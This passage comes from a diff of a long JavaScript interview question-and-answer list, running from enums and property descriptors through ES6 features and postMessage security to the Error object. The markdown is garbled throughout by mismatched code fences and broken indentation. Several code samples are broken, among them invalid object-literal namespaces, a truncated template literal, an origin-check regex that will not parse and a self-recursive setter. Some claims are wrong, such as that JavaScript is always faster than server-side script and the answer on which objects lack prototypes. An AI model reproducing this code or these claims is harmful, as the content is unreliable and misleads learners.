+        function myOverflowFunction() {
+        if (document.getElementById('age').validity.rangeOverflow) {
+        alert('The mentioned age is not allowed');
+        }
+        }
+
+        ```
+
+        ```
+
+278.    Is enums feature available in javascript
+
+             No, javascript does not natively support enums. But there are different kinds of solutions to simulate them even though they may not provide exact equivalents. For example, you can use freeze or seal on object,
+
+             ```js
+
+        //
+        var DaysEnum = Object.freeze({"monday":1, "tuesday":2, "wednesday":3, ...})
+
+        ```
+
+        ```
+
+279.    What is an enum
+
+             An enum is a type restricting variables to one value from a predefined set of constants. JavaScript has no enums but typescript provides built-in enum support.
+
+             ```js
+
+        //
+        enum Color {
+        RED, GREEN, BLUE
+        }
+
+        ```
+
+        ```
+
+280.    How do you list all properties of an object
+
+             You can use the `Object.getOwnPropertyNames()` method which returns an array of all properties found directly in a given object. Let's the usage of it in an example,
+
+             ```js
+
+        //
+        const newObject = {
+        a: 1,
+        b: 2,
+        c: 3
+        };
+
+             console.log(Object.getOwnPropertyNames(newObject));
+             ['a', 'b', 'c'];
+             ```
+
+281.    How do you get property descriptors of an object
+
+             You can use the `Object.getOwnPropertyDescriptors()` method which returns all own property descriptors of a given object. The example usage of this method is below,
+
+             ```js
+
+        //
+        const newObject = {
+        a: 1,
+        b: 2,
+        c: 3
+        };
+        const descriptorsObject = Object.getOwnPropertyDescriptors(newObject);
+        console.log(descriptorsObject.a.writable); //true
+        console.log(descriptorsObject.a.configurable); //true
+        console.log(descriptorsObject.a.enumerable); //true
+        console.log(descriptorsObject.a.value); // 1
+
+        ```
+
+        ```
+
+282.    What are the attributes provided by a property descriptor
+
+        A property descriptor is a record which has the following attributes
+
+        1. value: The value associated with the property
+        2. writable: Determines whether the value associated with the property can be changed or not
+        3. configurable: Returns true if the type of this property descriptor can be changed and if the property can be deleted from the corresponding object.
+        4. enumerable: Determines whether the property appears during enumeration of the properties on the corresponding object or not.
+        5. set: A function which serves as a setter for the property
+        6. get: A function which serves as a getter for the property
+
+283.    How do you extend classes
+
+             The `extends` keyword is used in class declarations/expressions to create a class which is a child of another class. It can be used to subclass custom classes as well as built-in objects. The syntax would be as below,
+
+             ```js
+
+        //
+        class ChildClass extends ParentClass { ... }
+
+        ````
+
+             Let's take an example of Square subclass from Polygon parent class,
+
+             ```js
+
+        //
+        class Square extends Rectangle {
+        constructor(length) {
+        super(length, length);
+        this.name = 'Square';
+        }
+
+                 get area() {
+                     return this.width * this.height;
+                 }
+
+                 set area(value) {
+                     this.area = value;
+                 }
+             }
+             ```
+
+        ````
+
+284.    How do I modify the url without reloading the page
+
+             The `window.location.url` property will be helpful to modify the url but it reloads the page. HTML5 introduced the `history.pushState()` and `history.replaceState()` methods, which allow you to add and modify history entries, respectively. For example, you can use pushState as below,
+
+             ```js
+
+        //
+        window.history.pushState('page2', 'Title', '/page2.html');
+
+        ```
+
+        ```
+
+285.    How do you check whether an array includes a particular value or not
+
+             The `Array#includes()` method is used to determine whether an array includes a particular value among its entries by returning either true or false. Let's see an example to find an element(numeric and string) within an array.
+
+             ```js
+
+        //
+        var numericArray = [1, 2, 3, 4];
+        console.log(numericArray.includes(3)); // true
+
+             var stringArray = ['green', 'yellow', 'blue'];
+             console.log(stringArray.includes('blue')); //true
+             ```
+
+286.    How do you compare scalar arrays
+
+             You can use length and every method of arrays to compare two scalar(compared directly using ===) arrays. The combination of these expressions can give the expected result,
+
+             ```js
+
+        //
+        const arrayFirst = [1, 2, 3, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.every((value, index) => value === arraySecond[index])); // true
+
+        ````
+
+             If you would like to compare arrays irrespective of order then you should sort them before,
+
+             ```js
+
+        //
+        const arrayFirst = [2, 3, 1, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.sort().every((value, index) => value === arraySecond[index])); //true
+        ````
+
+287.    How to get the value from get parameters
+
+             The `new URL()` object accepts the url string and `searchParams` property of this object can be used to access the get parameters. Remember that you may need to use polyfill or `window.location` to access the URL in older browsers(including IE).
+
+             ```js
+
+        //
+        let urlString = 'http://www.some-domain.com/about.html?x=1&y=2&z=3'; //window.location.href
+        let url = new URL(urlString);
+        let parameterZ = url.searchParams.get('z');
+        console.log(parameterZ); // 3
+
+        ```
+
+        ```
+
+288.    How do you print numbers with commas as thousand separators
+
+             You can use the `Number.prototype.toLocaleString()` method which returns a string with a language-sensitive representation such as thousand separator,currency etc of this number.
+
+             ```js
+
+        //
+        function convertToThousandFormat(x) {
+        return x.toLocaleString(); // 12,345.679
+        }
+
+             console.log(convertToThousandFormat(12345.6789));
+             ```
+
+289.    What is the difference between java and javascript
+
+        Both are totally unrelated programming languages and no relation between them. Java is statically typed, compiled, runs on its own VM. Whereas Javascript is dynamically typed, interpreted, and runs in a browser and nodejs environments. Let's see the major differences in a tabular format,
+        | Feature | Java | JavaScript |
+        |---- | ---- | -----
+        | Typed | It's a strongly typed language | It's a dynamic typed language |
+        | Paradigm | Object oriented programming | Prototype based programming |
+        | Scoping | Block scoped | Function-scoped |
+        | Concurrency | Thread based | event based |
+        | Memory | Uses more memory | Uses less memory. Hence it will be used for web pages |
+
+290.    Does JavaScript supports namespace
+
+             JavaScript doesn't support namespace by default. So if you create any element(function, method, object, variable) then it becomes global and pollutes the global namespace. Let's take an example of defining two functions without any namespace,
+
+             ```js
+
+        //
+        function func1() {
+        console.log('This is a first definition');
+        }
+        function func1() {
+        console.log('This is a second definition');
+        }
+        func1(); // This is a second definition
+
+        ```
+
+             It always calls the second function definition. In this case, namespace will solve the name collision problem.
+
+        ```
+
+291.    How do you declare namespace
+
+             Even though JavaScript lacks namespaces, we can use Objects , IIFE to create namespaces.
+
+             1. **Using Object Literal Notation:** Let's wrap variables and functions inside an Object literal which acts as a namespace. After that you can access them using object notation
+
+             ```js
+
+        //
+        var namespaceOne = {
+        function func1() {
+        console.log("This is a first definition");
+        }
+        }
+        var namespaceTwo = {
+        function func1() {
+        console.log("This is a second definition");
+        }
+        }
+        namespaceOne.func1(); // This is a first definition
+        namespaceTwo.func1(); // This is a second definition
+
+        ````
+
+             1. **Using IIFE (Immediately invoked function expression):** The outer pair of parentheses of IIFE creates a local scope for all the code inside of it and makes the anonymous function a function expression. Due to that, you can create the same function in two different function expressions to act as a namespace.
+
+             ```js
+
+        //
+        (function () {
+        function fun1() {
+        console.log('This is a first definition');
+        }
+        fun1();
+        })();
+
+             (function () {
+                 function fun1() {
+                     console.log('This is a second definition');
+                 }
+                 fun1();
+             })();
+             ```
+
+             1. **Using a block and a let/const declaration:** In ECMAScript 6, you can simply use a block and a let declaration to restrict the scope of a variable to a block.
+
+             ```js
+
+        //
+        {
+        let myFunction = function fun1() {
+        console.log('This is a first definition');
+        };
+        myFunction();
+        }
+        //myFunction(): ReferenceError: myFunction is not defined.
+
+             {
+                 let myFunction = function fun1() {
+                     console.log('This is a second definition');
+                 };
+                 myFunction();
+             }
+             //myFunction(): ReferenceError: myFunction is not defined.
+             ```
+
+        ````
+
+292.    How do you invoke javascript code in an iframe from parent page
+
+             Initially iFrame needs to be accessed using either `document.getElementBy` or `window.frames`. After that `contentWindow` property of iFrame gives the access for targetFunction
+
+             ```js
+
+        //
+        document.getElementById('targetFrame').contentWindow.targetFunction();
+        window.frames[0].frameElement.contentWindow.targetFunction(); // Accessing iframe this way may not work in latest versions chrome and firefox
+
+        ```
+
+        ```
+
+293.    How do get the timezone offset from date
+
+             You can use the `getTimezoneOffset` method of the date object. This method returns the time zone difference, in minutes, from current locale (host system settings) to UTC
+
+             ```js
+
+        //
+        var offset = new Date().getTimezoneOffset();
+        console.log(offset); // -480
+
+        ```
+
+        ```
+
+294.    How do you load CSS and JS files dynamically
+
+             You can create both link and script elements in the DOM and append them as child to head tag. Let's create a function to add script and style resources as below,
+
+             ```js
+
+        //
+        function loadAssets(filename, filetype) {
+        if (filetype == 'css') {
+        // External CSS file
+        var fileReference = document.createElement('link');
+        fileReference.setAttribute('rel', 'stylesheet');
+        fileReference.setAttribute('type', 'text/css');
+        fileReference.setAttribute('href', filename);
+        } else if (filetype == 'js') {
+        // External JavaScript file
+        var fileReference = document.createElement('script');
+        fileReference.setAttribute('type', 'text/javascript');
+        fileReference.setAttribute('src', filename);
+        }
+        if (typeof fileReference != 'undefined') document.getElementsByTagName('head')[0].appendChild(fileReference);
+        }
+
+        ```
+
+        ```
+
+295.    What are the different methods to find HTML elements in DOM
+
+        If you want to access any element in an HTML page, you need to start with accessing the document object. Later you can use any of the below methods to find the HTML element,
+
+        1. document.getElementById(id): It finds an element by Id
+        2. document.getElementsByTagName(name): It finds an element by tag name
+        3. document.getElementsByClassName(name): It finds an element by class name
+
+296.    What is jQuery
+
+             jQuery is a popular cross-browser JavaScript library that provides Document Object Model (DOM) traversal, event handling, animations and AJAX interactions by minimizing the discrepancies across browsers. It is widely famous with its philosophy of "Write less, do more". For example, you can display welcome message on the page load using jQuery as below,
+
+             ```js
+
+        //
+        $(document).ready(function () {
+        // It selects the document and apply the function on page load
+        alert('Welcome to jQuery world');
+        });
+
+        ```
+
+             **Note:** You can download it from jquery's official site or install it from CDNs, like google.
+
+        ```
+
+297.    What is V8 JavaScript engine
+
+        V8 is an open source high-performance JavaScript engine used by the Google Chrome browser, written in C++. It is also being used in the node.js project. It implements ECMAScript and WebAssembly, and runs on Windows 7 or later, macOS 10.12+, and Linux systems that use x64, IA-32, ARM, or MIPS processors.
+        **Note:** It can run standalone, or can be embedded into any C++ application.
+
+298.    Why do we call javascript as dynamic language
+
+             JavaScript is a loosely typed or a dynamic language because variables in JavaScript are not directly associated with any particular value type, and any variable can be assigned/reassigned with values of all types.
+
+             ```js
+
+        //
+        let age = 50; // age is a number now
+        age = 'old'; // age is a string now
+        age = true; // age is a boolean
+
+        ```
+
+        ```
+
+299.    What is a void operator
+
+             The `void` operator evaluates the given expression and then returns undefined(i.e, without returning value). The syntax would be as below,
+
+             ```js
+
+        //
+        void expression;
+        void expression;
+
+        ````
+
+             Let's display a message without any redirection or reload
+
+             ```js
+
+        //
+        <a href="javascript:void(alert('Welcome to JS world'))">Click here to see a message</a>
+        ````
+
+             **Note:** This operator is often used to obtain the undefined primitive value, using "void(0)".
+
+300.    How to set the cursor to wait
+
+             The cursor can be set to wait in JavaScript by using the property "cursor". Let's perform this behavior on page load using the below function.
+
+             ```js
+
+        //
+        function myFunction() {
+        window.document.body.style.cursor = 'wait';
+        }
+
+        ````
+
+             and this function invoked on page load
+
+             ```html
+             <body onload="myFunction()">
+
+        </body>
+             ```
+
+        ````
+
+301.    How do you create an infinite loop
+
+             You can create infinite loops using for and while loops without using any expressions. The for loop construct or syntax is better approach in terms of ESLint and code optimizer tools,
+
+             ```js
+
+        //
+        for (;;) {}
+        while (true) {}
+
+        ```
+
+        ```
+
+302.    Why do you need to avoid with statement
+
+             JavaScript's with statement was intended to provide a shorthand for writing recurring accesses to objects. So it can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. Let's take an example where it is used to avoid redundancy when accessing an object several times.
+
+             ```js
+
+        //
+        a.b.c.greeting = 'welcome';
+        a.b.c.age = 32;
+
+        ````
+
+             Using `with` it turns this into:
+
+             ```js
+
+        //
+        with (a.b.c) {
+        greeting = 'welcome';
+        age = 32;
+        }
+        ````
+
+             But this `with` statement creates performance problems since one cannot predict whether an argument will refer to a real variable or to a property inside the with argument.
+
+303.    What is the output of below for loops
+
+             ```js
+
+        //
+        for (var i = 0; i < 4; i++) {
+        // global scope
+        setTimeout(() => console.log(i));
+        }
+
+             for (let i = 0; i < 4; i++) {
+                 // block scope
+                 setTimeout(() => console.log(i));
+             }
+             ```
+
+             The output of the above for loops is 4 4 4 4 and 0 1 2 3
+
+             **Explanation:** Due to the event queue/loop of javascript, the `setTimeout` callback function is called after the loop has been executed. Since the variable i is declared with the `var` keyword it became a global variable and the value was equal to 4 using iteration when the time `setTimeout` function is invoked. Hence, the output of the first loop is `4 4 4 4`.
+
+             Whereas in the second loop, the variable i is declared as the `let` keyword it becomes a block scoped variable and it holds a new value(0, 1 ,2 3) for each iteration. Hence, the output of the first loop is `0 1 2 3`.
+
+304.    List down some of the features of ES6
+
+        Below are the list of some new features of ES6,
+
+        1. Support for constants or immutable variables
+        2. Block-scope support for variables, constants and functions
+        3. Arrow functions
+        4. Default parameters
+        5. Rest and Spread Parameters
+        6. Template Literals
+        7. Multi-line Strings
+        8. Destructuring Assignment
+        9. Enhanced Object Literals
+        10. Promises
+        11. Classes
+        12. Modules
+
+305.    What is ES6
+
+        ES6 is the sixth edition of the javascript language and it was released in June 2015. It was initially known as ECMAScript 6 (ES6) and later renamed to ECMAScript 2015. Almost all the modern browsers support ES6 but for the old browsers there are many transpilers, like Babel.js etc.
+
+306.    Can I redeclare let and const variables
+
+             No, you cannot redeclare let and const variables. If you do, it throws below error
+
+             ```console
+             Uncaught SyntaxError: Identifier 'someVariable' has already been declared
+             ```
+
+             **Explanation:** The variable declaration with `var` keyword refers to a function scope and the variable is treated as if it were declared at the top of the enclosing scope due to hoisting feature. So all the multiple declarations contributing to the same hoisted variable without any error. Let's take an example of re-declaring variables in the same scope for both var and let/const variables.
+
+             ```js
+
+        //
+        var name = 'John';
+        function myFunc() {
+        var name = 'Nick';
+        var name = 'Abraham'; // Re-assigned in the same function block
+        alert(name); // Abraham
+        }
+        myFunc();
+        alert(name); // John
+
+        ````
+
+             The block-scoped multi-declaration throws syntax error,
+
+             ```js
+
+        //
+        let name = 'John';
+        function myFunc() {
+        let name = 'Nick';
+        let name = 'Abraham'; // Uncaught SyntaxError: Identifier 'name' has already been declared
+        alert(name);
+        }
+
+             myFunc();
+             alert(name);
+             ```
+
+        ````
+
+307.    Is const variable makes the value immutable
+
+             No, the const variable doesn't make the value immutable. But it disallows subsequent assignments(i.e, You can declare with assignment but can't assign another value later)
+
+             ```js
+
+        //
+        const userList = [];
+        userList.push('John'); // Can mutate even though it can't re-assign
+        console.log(userList); // ['John']
+
+        ```
+
+        ```
+
+308.    What are default parameters
+
+             In E5, we need to depend on logical OR operators to handle default values of function parameters. Whereas in ES6, Default function parameters feature allows parameters to be initialized with default values if no value or undefined is passed. Let's compare the behavior with an examples,
+
+             ```js
+
+        //
+        //ES5
+        var calculateArea = function (height, width) {
+        height = height || 50;
+        width = width || 60;
+
+                 return width * height;
+             };
+             console.log(calculateArea()); //300
+             ```
+
+             The default parameters makes the initialization more simpler,
+
+             ```js
+
+        //
+        //ES6
+        var calculateArea = function (height = 50, width = 60) {
+        return width \* height;
+        };
+
+             console.log(calculateArea()); //300
+             ```
+
+309.    What are template literals
+
+             Template literals or template strings are string literals allowing embedded expressions. These are enclosed by the back-tick (`) character instead of double or single quotes.
+             In E6, this feature enables using dynamic expressions as below,
+
+             ```js
+
+        //
+        var greeting = `Welcome to JS World, Mr. ${firstName} ${lastName}.`;
+
+        ````
+
+             In ES5, you need break string like below,
+
+             ```js
+
+        //
+        var greeting = 'Welcome to JS World, Mr. ' + firstName + ' ' + lastName.`
+        ````
+
+             **Note:** You can use multi-line strings and string interpolation features with template literals.
+
+310.    How do you write multi-line strings in template literals
+
+             In ES5, you would have to use newline escape characters('\\n') and concatenation symbols(+) in order to get multi-line strings.
+
+             ```js
+
+        //
+        console.log('This is string sentence 1\n' + 'This is string sentence 2');
+
+        ````
+
+             Whereas in ES6, You don't need to mention any newline sequence character,
+
+             ```js
+
+        //
+        console.log(`This is string sentence 'This is string sentence 2`);
+        ````
+
+311.    What are nesting templates
+
+             The nesting template is a feature supported within template literals syntax to allow inner backticks inside a placeholder ${ } within the template. For example, the below nesting template is used to display the icons based on user permissions whereas outer template checks for platform type,
+
+             ```js
+
+        //
+        const iconStyles = `icon ${isMobilePlatform() ? '' : `icon-${user.isAuthorized ? 'submit' : 'disabled'}`}`;
+
+        ````
+
+             You can write the above use case without nesting template features as well. However, the nesting template feature is more compact and readable.
+
+             ```js
+
+        //
+        //Without nesting templates
+        const iconStyles = `icon ${ isMobilePlatform() ? '' : (user.isAuthorized ? 'icon-submit' : 'icon-disabled'}`;
+        ````
+
+312.    What are tagged templates
+
+             Tagged templates are the advanced form of templates in which tags allow you to parse template literals with a function. The tag function accepts the first parameter as an array of strings and remaining parameters as expressions. This function can also return manipulated strings based on parameters. Let's see the usage of this tagged template behavior of an IT professional skill set in an organization,
+
+             ```js
+
+        //
+        var user1 = 'John';
+        var skill1 = 'JavaScript';
+        var experience1 = 15;
+
+             var user2 = 'Kane';
+             var skill2 = 'JavaScript';
+             var experience2 = 5;
+
+             function myInfoTag(strings, userExp, experienceExp, skillExp) {
+               var str0 = strings[0]; // "Mr/Ms. "
+               var str1 = strings[1]; // " is a/an "
+               var str2 = strings[2]; // "in"
+
+               var expertiseStr;
+               if (experienceExp > 10){
+                 expertiseStr = 'expert developer';
+               } else if(skillExp > 5 && skillExp <= 10) {
+                 expertiseStr = 'senior developer';
+               } else {
+                 expertiseStr = 'junior developer';
+               }
+
+               return ${str0}${userExp}${str1}${expertiseStr}${str2}${skillExp};
+             }
+
+             var output1 = myInfoTag`Mr/Ms. ${ user1 } is a/an ${ experience1 } in ${skill1}`;
+             var output2 = myInfoTag`Mr/Ms. ${ user2 } is a/an ${ experience2 } in ${skill2}`;
+
+             console.log(output1);// Mr/Ms. John is a/an expert developer in JavaScript
+             console.log(output2);// Mr/Ms. Kane is a/an junior developer in JavaScript
+             ```
+
+313.    What are raw strings
+
+             ES6 provides a raw strings feature using the `String.raw()` method which is used to get the raw string form of template strings. This feature allows you to access the raw strings as they were entered, without processing escape sequences. For example, the usage would be as below,
+
+             ```js
+
+        //
+        var calculationString = String.raw`The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString); // The sum of numbers is 10
+
+        ````
+
+             If you don't use raw strings, the newline character sequence will be processed by displaying the output in multiple lines
+
+             ```js
+
+        //
+        var calculationString = `The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString);
+        // The sum of numbers is
+        // 10
+        ````
+
+             Also, the raw property is available on the first argument to the tag function
+
+             ```js
+
+        //
+        function tag(strings) {
+        console.log(strings.raw[0]);
+        }
+
+        ```
+
+        ```
+
+314.    What is destructuring assignment
+
+             The destructuring assignment is a JavaScript expression that makes it possible to unpack values from arrays or properties from objects into distinct variables.
+             Let's get the month values from an array using destructuring assignment
+
+             ```js
+
+        //
+        var [one, two, three] = ['JAN', 'FEB', 'MARCH'];
+
+             console.log(one); // "JAN"
+             console.log(two); // "FEB"
+             console.log(three); // "MARCH"
+             ```
+
+             and you can get user properties of an object using destructuring assignment,
+
+             ```js
+
+        //
+        var { name, age } = { name: 'John', age: 32 };
+
+             console.log(name); // John
+             console.log(age); // 32
+             ```
+
+315.    What are default values in destructuring assignment
+
+             A variable can be assigned a default value when the value unpacked from the array or object is undefined during destructuring assignment. It helps to avoid setting default values separately for each assignment. Let's take an example for both arrays and object use cases,
+
+             **Arrays destructuring:**
+
+             ```js
+
+        //
+        var x, y, z;
+
+             [x = 2, y = 4, z = 6] = [10];
+             console.log(x); // 10
+             console.log(y); // 4
+             console.log(z); // 6
+             ```
+
+             **Objects destructuring:**
+
+             ```js
+
+        //
+        var { x = 2, y = 4, z = 6 } = { x: 10 };
+
+             console.log(x); // 10
+             console.log(y); // 4
+             console.log(z); // 6
+             ```
+
+316.    How do you swap variables in destructuring assignment
+
+             If you don't use destructuring assignment, swapping two values requires a temporary variable. Whereas using a destructuring feature, two variable values can be swapped in one destructuring expression. Let's swap two number variables in array destructuring assignment,
+
+             ```js
+
+        //
+        var x = 10,
+        y = 20;
+
+             [x, y] = [y, x];
+             console.log(x); // 20
+             console.log(y); // 10
+             ```
+
+317.    What are enhanced object literals
+
+             Object literals make it easy to quickly create objects with properties inside the curly braces. For example, it provides shorter syntax for common object property definition as below.
+
+             ```js
+
+        //
+        //ES6
+        var x = 10,
+        y = 20;
+        obj = { x, y };
+        console.log(obj); // {x: 10, y:20}
+        //ES5
+        var x = 10,
+        y = 20;
+        obj = { x: x, y: y };
+        console.log(obj); // {x: 10, y:20}
+
+        ```
+
+        ```
+
+318.    What are dynamic imports
+
+             The dynamic imports using `import()` function syntax allows us to load modules on demand by using promises or the async/await syntax. Currently this feature is in [stage4 proposal](https://github.com/tc39/proposal-dynamic-import). The main advantage of dynamic imports is reduction of our bundle's sizes, the size/payload response of our requests and overall improvements in the user experience.
+             The syntax of dynamic imports would be as below,
+
+             ```js
+
+        //
+        import('./Module').then((Module) => Module.method());
+
+        ```
+
+        ```
+
+319.    What are the use cases for dynamic imports
+
+             Below are some of the use cases of using dynamic imports over static imports,
+
+             1. Import a module on-demand or conditionally. For example, if you want to load a polyfill on legacy browser
+
+             ```js
+
+        //
+        if (isLegacyBrowser()) {
+        import(···)
+        .then(···);
+        }
+
+        ````
+
+             1. Compute the module specifier at runtime. For example, you can use it for internationalization.
+
+             ```js
+
+        //
+        import(`messages_${getLocale()}.js`).then(···);
+        ````
+
+             1. Import a module from within a regular script instead a module.
+
+320.    What are typed arrays
+
+             Typed arrays are array-like objects from ECMAScript 6 API for handling binary data. JavaScript provides 8 Typed array types,
+
+             1. Int8Array: An array of 8-bit signed integers
+             2. Int16Array: An array of 16-bit signed integers
+             3. Int32Array: An array of 32-bit signed integers
+             4. Uint8Array: An array of 8-bit unsigned integers
+             5. Uint16Array: An array of 16-bit unsigned integers
+             6. Uint32Array: An array of 32-bit unsigned integers
+             7. Float32Array: An array of 32-bit floating point numbers
+             8. Float64Array: An array of 64-bit floating point numbers
+
+             For example, you can create an array of 8-bit signed integers as below
+
+             ```js
+
+        //
+        const a = new Int8Array();
+        // You can pre-allocate n bytes
+        const bytes = 1024;
+        const a = new Int8Array(bytes);
+
+        ```
+
+        ```
+
+321.    What are the advantages of module loaders
+
+        The module loaders provides the below features,
+
+        1. Dynamic loading
+        2. State isolation
+        3. Global namespace isolation
+        4. Compilation hooks
+        5. Nested virtualization
+
+322.    What is collation
+
+             Collation is used for sorting a set of strings and searching within a set of strings. It is parameterized by locale and aware of Unicode. Let's take comparison and sorting features,
+
+             1. **Comparison:**
+
+             ```js
+
+        //
+        var list = ['ä', 'a', 'z']; // In German, "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(l10nDE.compare('ä', 'z') === -1); // true
+        console.log(l10nSV.compare('ä', 'z') === +1); // true
+
+        ````
+
+             1. **Sorting:**
+
+             ```js
+
+        //
+        var list = ['ä', 'a', 'z']; // In German, "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(list.sort(l10nDE.compare)); // [ "a", "ä", "z" ]
+        console.log(list.sort(l10nSV.compare)); // [ "a", "z", "ä" ]
+        ````
+
+323.    What is for...of statement
+
+             The for...of statement creates a loop iterating over iterable objects or elements such as built-in String, Array, Array-like objects (like arguments or NodeList), TypedArray, Map, Set, and user-defined iterables. The basic usage of for...of statement on arrays would be as below,
+
+             ```js
+
+        //
+        let arrayIterable = [10, 20, 30, 40, 50];
+
+             for (let value of arrayIterable) {
+                 value++;
+                 console.log(value); // 11 21 31 41 51
+             }
+             ```
+
+324.    What is the output of below spread operator array
+
+             ```js
+
+        //
+        [...'John Resig'];
+
+        ```
+
+             The output of the array is ['J', 'o', 'h', 'n', '', 'R', 'e', 's', 'i', 'g']
+             **Explanation:** The string is an iterable type and the spread operator within an array maps every character of an iterable to one element. Hence, each character of a string becomes an element within an Array.
+
+        ```
+
+325.    Is PostMessage secure
+
+        Yes, postMessages can be considered very secure as long as the programmer/developer is careful about checking the origin and source of an arriving message. But if you try to send/receive a message without verifying its source will create cross-site scripting attacks.
+
+326.    What are the problems with postmessage target origin as wildcard
+
+             The second argument of postMessage method specifies which origin is allowed to receive the message. If you use the wildcard "\*" as an argument then any origin is allowed to receive the message. In this case, there is no way for the sender window to know if the target window is at the target origin when sending the message. If the target window has been navigated to another origin, the other origin would receive the data. Hence, this may lead to XSS vulnerabilities.
+
+             ```js
+
+        //
+        targetWindow.postMessage(message, '\*');
+
+        ```
+
+        ```
+
+327.    How do you avoid receiving postMessages from attackers
+
+             Since the listener listens for any message, an attacker can trick the application by sending a message from the attacker's origin, which gives an impression that the receiver received the message from the actual sender's window. You can avoid this issue by validating the origin of the message on the receiver's end using the "message.origin" attribute. For examples, let's check the sender's origin [http://www.some-sender.com](http://www.some-sender.com) on receiver side [www.some-receiver.com](www.some-receiver.com),
+
+             ```js
+
+        //
+        //Listener on http://www.some-receiver.com/
+        window.addEventListener("message", function(message){
+        if(/^http://www\.some-sender\.com$/.test(message.origin)){
+        console.log('You received the data from valid sender', message.data);
+        }
+        });
+
+        ```
+
+        ```
+
+328.    Can I avoid using postMessages completely
+
+        You cannot avoid using postMessages completely(or 100%). Even though your application doesn't use postMessage considering the risks, a lot of third party scripts use postMessage to communicate with the third party service. So your application might be using postMessage without your knowledge.
+
+329.    Is postMessages synchronous
+
+        The postMessages are synchronous in IE8 browser but they are asynchronous in IE9 and all other modern browsers (i.e, IE9+, Firefox, Chrome, Safari).Due to this asynchronous behaviour, we use a callback mechanism when the postMessage is returned.
+
+330.    What paradigm is Javascript
+
+        JavaScript is a multi-paradigm language, supporting imperative/procedural programming, Object-Oriented Programming and functional programming. JavaScript supports Object-Oriented Programming with prototypical inheritance.
+
+331.    What is the difference between internal and external javascript
+
+        **Internal JavaScript:** It is the source code within the script tag.
+        **External JavaScript:** The source code is stored in an external file(stored with .js extension) and referred with in the tag.
+
+332.    Is JavaScript faster than server side script
+
+        Yes, JavaScript is faster than server side script. Because JavaScript is a client-side script it does not require any web server's help for its computation or calculation. So JavaScript is always faster than any server-side script like ASP, PHP, etc.
+
+333.    How do you get the status of a checkbox
+
+             You can apply the `checked` property on the selected checkbox in the DOM. If the value is `True` means the checkbox is checked otherwise it is unchecked. For example, the below HTML checkbox element can be access using javascript as below,
+
+             ```html
+             <input type="checkbox" name="checkboxname" value="Agree" /> Agree the conditions<br />
+             ```
+
+             ```js
+
+        //
+        console.log(document.getElementById('checkboxname').checked); // true or false
+
+        ```
+
+        ```
+
+334.    What is the purpose of double tilde operator
+
+        The double tilde operator(~~) is known as double NOT bitwise operator. This operator is going to be a quicker substitute for Math.floor().
+
+335.    How do you convert character to ASCII code
+
+             You can use the `String.prototype.charCodeAt()` method to convert string characters to ASCII numbers. For example, let's find ASCII code for the first letter of 'ABC' string,
+
+             ```js
+
+        //
+        'ABC'.charCodeAt(0); // returns 65
+
+        ````
+
+             Whereas `String.fromCharCode()` method converts numbers to equal ASCII characters.
+
+             ```js
+
+        //
+        String.fromCharCode(65, 66, 67); // returns 'ABC'
+        ````
+
+336.    What is ArrayBuffer
+
+             An ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You can create it as below,
+
+             ```js
+
+        //
+        let buffer = new ArrayBuffer(16); // create a buffer of length 16
+        alert(buffer.byteLength); // 16
+
+        ````
+
+             To manipulate an ArrayBuffer, we need to use a "view" object.
+
+             ```js
+
+        //
+        //Create a DataView referring to the buffer
+        let view = new DataView(buffer);
+        ````
+
+337.    What is the output of below string expression
+
+             ```js
+
+        //
+        console.log('Welcome to JS world'[0]);
+
+        ```
+
+             The output of the above expression is "W".
+             **Explanation:** The bracket notation with specific index on a string returns the character at a specific location. Hence, it returns the character "W" of the string. Since this is not supported in IE7 and below versions, you may need to use the .charAt() method to get the desired result.
+
+        ```
+
+338.    What is the purpose of Error object
+
+             The Error constructor creates an error object and the instances of error objects are thrown when runtime errors occur. The Error object can also be used as a base object for user-defined exceptions. The syntax of error object would be as below,
+
+             ```js
+
+        //
+        new Error([message[, fileName[, lineNumber]]])
+
+        ````
+
+             You can throw user defined exceptions or errors using Error object in try...catch block as below,
+
+             ```js
+
+        //
+        try {
+        if (withdraw > balance) throw new Error("Oops! You don't have enough balance");
+        } catch (e) {
+        console.log(e.name + ': ' + e.message);
+        }
+        ````
+
+339.    What is the purpose of EvalError object
+
+             The EvalError object indicates an error regarding the global `eval()` function. Even though this exception is not thrown by JavaScript anymore, the EvalError object remains for compatibility. The syntax of this expression would be as below,
+
+             ```js
+
+        //
+        new EvalError([message[, fileName[, lineNumber]]])
+
+        ````
+
+             You can throw EvalError with in try...catch block as below,
+
+             ```js
+
+        //
+        try {
+        throw new EvalError('Eval function error', 'someFile.js', 100);
+        } catch (e) {
+        console.log(e.message, e.name, e.fileName); // "Eval function error", "EvalError", "someFile.js"
+        ````
+
+340.    What are the list of cases error thrown from non-strict mode to strict mode
+
+             When you apply 'use strict'; syntax, some of the below cases will throw a SyntaxError before executing the script
+
+             1. When you use Octal syntax
+
+             ```js
+
+        //
+        var n = 022;
+
+        ````
+
+             1. Using `with` statement
+             2. When you use delete operator on a variable name
+             3. Using eval or arguments as variable or function argument name
+             4. When you use newly reserved keywords
+             5. When you declare a function in a block
+
+             ```js
+
+        //
+        if (someCondition) {
+        function f() {}
+        }
+        ````
+
+             Hence, the errors from above cases are helpful to avoid errors in development/production environments.
+
+341.    Do all objects have prototypes
+
+        No. All objects have prototypes except for the base object which is created by the user, or an object that is created using the new keyword.
+
+342.    What is the difference between a parameter and an argument
+
+             Parameter is the variable name of a function definition whereas an argument represents the value given to a function when it is invoked. Let's explain this with a simple function
+
+             ```js
+
+        //
+        function myFunction(parameter1, parameter2, parameter3) {
+        console.log(arguments[0]); // "argument1"
+        console.log(arguments[1]); // "argument2"
+        console.log(arguments[2]); // "argument3"
+        }
+        myFunction('argument1', 'argument2', 'argument3');
+
+        ```
+
+        ```
+
+343.    What is the purpose of some method in arrays
+
